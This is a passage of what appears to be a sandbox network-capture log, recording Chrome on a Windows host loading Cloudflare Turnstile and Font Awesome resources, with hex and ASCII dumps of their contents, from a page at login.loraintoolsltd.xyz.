initial-scale=1.0"> <title></title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/c
2025-01-22 05:33:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2025-01-22 05:33:45 UTC	3	IN	Data Raw: 30 0d 0a Data Ascii: 0
2025-01-22 05:33:45 UTC	2	IN	Data Raw: 0d 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:46 UTC	583	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:46 UTC	386	IN	HTTP/1.1 302 Found Date: Wed, 22 Jan 2025 05:33:46 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/672eb098a9f3/api.js Server: cloudflare CF-RAY: 905d2bcc2f4e5e6b-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49745	104.17.24.14	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:46 UTC	587	OUT	GET /ajax/libs/font-awesome/5.15.4/css/all.min.css HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:46 UTC	952	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:46 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"613fa20b-3171" Last-Modified: Mon, 13 Sep 2021 19:10:03 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 468491 Expires: Mon, 12 Jan 2026 05:33:46 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2CKbeAbNULG%2BF4ktI0qaf5VArS0qVUUEPaNRXvRhgOcECK1mCg%2FsZDW%2FxH%2FPL%2FWZW3wWES8rIUE5K%2BBJCjkhq83iH4Gsapgt2YufDx%2B5nxMVo2igrCKK414daCOUdCswq75pKaUu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 905d2bcc2a0cc420-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:46 UTC	417	IN	Data Raw: 37 62 66 39 0d 0a 2f 2a 21 0a 20 2a 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 35 2e 34 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 0a 20 2a 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 2e 66 61 2c 2e 66 61 62 2c 2e 66 61 64 2c 2e 66 61 6c 2c 2e 66 61 72 2c 2e 66 61 73 7b 2d 6d 6f 7a 2d 6f 73 78 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 67 72 61 79 73 63 61 6c 65 3b Data Ascii: 7bf9/! Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com * License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) */.fa,.fab,.fad,.fal,.far,.fas{-moz-osx-font-smoothing:grayscale;
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 69 67 68 74 3a 2e 37 35 65 6d 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 2d 2e 30 36 36 37 65 6d 7d 2e 66 61 2d 78 73 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 35 65 6d 7d 2e 66 61 2d 73 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 37 35 65 6d 7d 2e 66 61 2d 31 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 65 6d 7d 2e 66 61 2d 32 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 2e 66 61 2d 33 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 65 6d 7d 2e 66 61 2d 34 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 34 65 6d 7d 2e 66 61 2d 35 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 35 65 6d 7d 2e 66 61 2d 36 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 36 65 6d 7d 2e 66 61 2d 37 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 37 65 6d 7d 2e 66 61 2d 38 78 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 65 6d 7d 2e 66 61 2d 39 Data Ascii: ight:.75em;vertical-align:-.0667em}.fa-xs{font-size:.75em}.fa-sm{font-size:.875em}.fa-1x{font-size:1em}.fa-2x{font-size:2em}.fa-3x{font-size:3em}.fa-4x{font-size:4em}.fa-5x{font-size:5em}.fa-6x{font-size:6em}.fa-7x{font-size:7em}.fa-8x{font-size:8em}.fa-9
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 31 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 31 38 30 7b 2d 6d 73 2d 66 69 6c 74 65 72 3a 22 70 72 6f 67 69 64 3a 44 58 49 6d 61 67 65 54 72 61 6e 73 66 6f 72 6d 2e 4d 69 63 72 6f 73 6f 66 74 2e 42 61 73 69 63 49 6d 61 67 65 28 72 6f 74 61 74 69 6f 6e 3d 32 29 22 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 38 30 64 65 67 29 7d 2e 66 61 2d 72 6f 74 61 74 65 2d 32 37 30 7b 2d 6d 73 2d 66 69 Data Ascii: .Microsoft.BasicImage(rotation=1)";-webkit-transform:rotate(90deg);transform:rotate(90deg)}.fa-rotate-180{-ms-filter:"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)";-webkit-transform:rotate(180deg);transform:rotate(180deg)}.fa-rotate-270{-ms-fi
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 39 22 7d 2e 66 61 2d 61 63 71 75 69 73 69 74 69 6f 6e 73 2d 69 6e 63 6f 72 70 6f 72 61 74 65 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 61 66 22 7d 2e 66 61 2d 61 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 31 22 7d 2e 66 61 2d 61 64 64 72 65 73 73 2d 62 6f 6f 6b 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 39 22 7d 2e 66 61 2d 61 64 64 72 65 73 73 2d 63 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 62 62 22 7d 2e 66 61 2d 61 64 6a 75 73 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 34 32 22 7d 2e 66 61 2d 61 64 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 30 22 7d 2e 66 61 2d Data Ascii: before{content:"\f369"}.fa-acquisitions-incorporated:before{content:"\f6af"}.fa-ad:before{content:"\f641"}.fa-address-book:before{content:"\f2b9"}.fa-address-card:before{content:"\f2bb"}.fa-adjust:before{content:"\f042"}.fa-adn:before{content:"\f170"}.fa-
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 65 22 7d 2e 66 61 2d 61 6e 67 75 6c 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 32 30 22 7d 2e 66 61 2d 61 6e 6b 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 34 22 7d 2e 66 61 2d 61 70 70 2d 73 74 6f 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 36 66 22 7d 2e 66 61 2d 61 70 70 2d 73 74 6f 72 65 2d 69 6f 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 30 22 7d 2e 66 61 2d 61 70 70 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 31 22 7d 2e 66 61 2d 61 70 70 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 37 39 22 7d 2e 66 61 2d 61 70 70 6c 65 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a Data Ascii: ontent:"\f36e"}.fa-angular:before{content:"\f420"}.fa-ankh:before{content:"\f644"}.fa-app-store:before{content:"\f36f"}.fa-app-store-ios:before{content:"\f370"}.fa-apper:before{content:"\f371"}.fa-apple:before{content:"\f179"}.fa-apple-alt:before{content:
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 39 65 22 7d 2e 66 61 2d 61 75 74 6f 70 72 65 66 69 78 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 31 63 22 7d 2e 66 61 2d 61 76 69 61 6e 65 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 34 22 7d 2e 66 61 2d 61 76 69 61 74 6f 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 32 31 22 7d 2e 66 61 2d 61 77 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 39 22 7d 2e 66 61 2d 61 77 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 35 22 7d 2e 66 61 2d 62 61 62 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 37 63 22 7d 2e 66 61 2d 62 61 62 79 2d 63 61 72 72 69 61 67 65 3a 62 65 66 6f 72 65 7b 63 6f Data Ascii: before{content:"\f29e"}.fa-autoprefixer:before{content:"\f41c"}.fa-avianex:before{content:"\f374"}.fa-aviato:before{content:"\f421"}.fa-award:before{content:"\f559"}.fa-aws:before{content:"\f375"}.fa-baby:before{content:"\f77c"}.fa-baby-carriage:before{co
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 7a 69 65 72 2d 63 75 72 76 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 62 22 7d 2e 66 61 2d 62 69 62 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 34 37 22 7d 2e 66 61 2d 62 69 63 79 63 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 36 22 7d 2e 66 61 2d 62 69 6b 69 6e 67 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 38 34 61 22 7d 2e 66 61 2d 62 69 6d 6f 62 6a 65 63 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 33 37 38 22 7d 2e 66 61 2d 62 69 6e 6f 63 75 6c 61 72 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 65 35 22 7d 2e 66 61 2d 62 69 6f 68 61 7a 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 38 30 22 7d 2e 66 61 2d 62 69 72 Data Ascii: zier-curve:before{content:"\f55b"}.fa-bible:before{content:"\f647"}.fa-bicycle:before{content:"\f206"}.fa-biking:before{content:"\f84a"}.fa-bimobject:before{content:"\f378"}.fa-binoculars:before{content:"\f1e5"}.fa-biohazard:before{content:"\f780"}.fa-bir
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 78 2d 6f 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 39 65 22 7d 2e 66 61 2d 62 6f 78 2d 74 69 73 73 75 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 65 30 35 62 22 7d 2e 66 61 2d 62 6f 78 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 36 38 22 7d 2e 66 61 2d 62 72 61 69 6c 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 61 31 22 7d 2e 66 61 2d 62 72 61 69 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 63 22 7d 2e 66 61 2d 62 72 65 61 64 2d 73 6c 69 63 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 65 63 22 7d 2e 66 61 2d 62 72 69 65 66 63 61 73 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 62 31 22 7d 2e 66 61 2d 62 72 69 65 66 63 Data Ascii: x-open:before{content:"\f49e"}.fa-box-tissue:before{content:"\e05b"}.fa-boxes:before{content:"\f468"}.fa-braille:before{content:"\f2a1"}.fa-brain:before{content:"\f5dc"}.fa-bread-slice:before{content:"\f7ec"}.fa-briefcase:before{content:"\f0b1"}.fa-briefc
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 6f 6e 74 65 6e 74 3a 22 5c 66 37 38 35 22 7d 2e 66 61 2d 63 61 6e 64 79 2d 63 61 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 37 38 36 22 7d 2e 66 61 2d 63 61 6e 6e 61 62 69 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 35 66 22 7d 2e 66 61 2d 63 61 70 73 75 6c 65 73 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 36 62 22 7d 2e 66 61 2d 63 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 62 39 22 7d 2e 66 61 2d 63 61 72 2d 61 6c 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 65 22 7d 2e 66 61 2d 63 61 72 2d 62 61 74 74 65 72 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 64 66 22 7d 2e 66 61 2d 63 61 72 2d 63 72 61 73 68 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 Data Ascii: ontent:"\f785"}.fa-candy-cane:before{content:"\f786"}.fa-cannabis:before{content:"\f55f"}.fa-capsules:before{content:"\f46b"}.fa-car:before{content:"\f1b9"}.fa-car-alt:before{content:"\f5de"}.fa-car-battery:before{content:"\f5df"}.fa-car-crash:before{cont
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 74 3a 22 5c 66 36 63 30 22 7d 2e 66 61 2d 63 68 61 6c 6b 62 6f 61 72 64 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 62 22 7d 2e 66 61 2d 63 68 61 6c 6b 62 6f 61 72 64 2d 74 65 61 63 68 65 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 63 22 7d 2e 66 61 2d 63 68 61 72 67 69 6e 67 2d 73 74 61 74 69 6f 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 65 37 22 7d 2e 66 61 2d 63 68 61 72 74 2d 61 72 65 61 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 66 65 22 7d 2e 66 61 2d 63 68 61 72 74 2d 62 61 72 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 30 38 30 22 7d 2e 66 61 2d 63 68 61 72 74 2d 6c 69 6e 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 31 22 7d 2e 66 61 2d Data Ascii: t:"\f6c0"}.fa-chalkboard:before{content:"\f51b"}.fa-chalkboard-teacher:before{content:"\f51c"}.fa-charging-station:before{content:"\f5e7"}.fa-chart-area:before{content:"\f1fe"}.fa-chart-bar:before{content:"\f080"}.fa-chart-line:before{content:"\f201"}.fa-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49748	104.18.94.41	443	3852	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-22 05:33:46 UTC	567	OUT	GET /turnstile/v0/g/672eb098a9f3/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://login.loraintoolsltd.xyz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-22 05:33:46 UTC	471	IN	HTTP/1.1 200 OK Date: Wed, 22 Jan 2025 05:33:46 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48121 Connection: close accept-ranges: bytes last-modified: Wed, 15 Jan 2025 14:50:44 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 905d2bd01bcb4223-EWR alt-svc: h3=":443"; ma=86400
2025-01-22 05:33:46 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 42 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 67 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 67 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 6a 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 53 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 53 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 71 74 28 65 29 7c 7c 7a 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Se(e,t){return qt(e)\|\|zt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Ve(e,t){var a={label:0,sent:function(){if(l[0
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 50 65 3d 33 30 30 30 33 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 31 3b 76 61 72 20 6a 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var Pe=300030;var We=300031;var j;(fu
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 45 56 45 52 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 41 4e 55 41 4c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 55 54 4f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 4c 57 41 59 53 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 58 45 43 55 54 45 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 4e 54 45 52 41 43 54 49 4f 4e 5f 4f 4e 4c 59 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b Data Ascii: R="never",e.MANUAL="manual",e.AUTO="auto"})(ee\|\|(ee={}));var ce;(function(e){e.NEVER="never",e.MANUAL="manual",e.AUTO="auto"})(ce\|\|(ce={}));var Q;(function(e){e.ALWAYS="always",e.EXECUTE="execute",e.INTERACTION_ONLY="interaction-only"})(Q\|\|(Q={}));var me;
2025-01-22 05:33:46 UTC	1369	IN	Data Raw: 22 73 74 72 69 6e 67 22 26 26 4e 72 2e 74 65 73 74 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 4c 2e 4e 4f 52 4d 41 4c 2c 4c 2e 43 4f 4d 50 41 43 54 2c 4c 2e 49 4e 56 49 53 49 42 4c 45 2c 4c 2e 46 4c 45 58 49 42 4c 45 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4d 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 6b 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 Data Ascii: "string"&&Nr.test(e)}function pt(e){return M([L.NORMAL,L.COMPACT,L.INVISIBLE,L.FLEXIBLE],e)}function vt(e){return M(["auto","manual","never"],e)}function mt(e){return M(["auto","manual","never"],e)}var 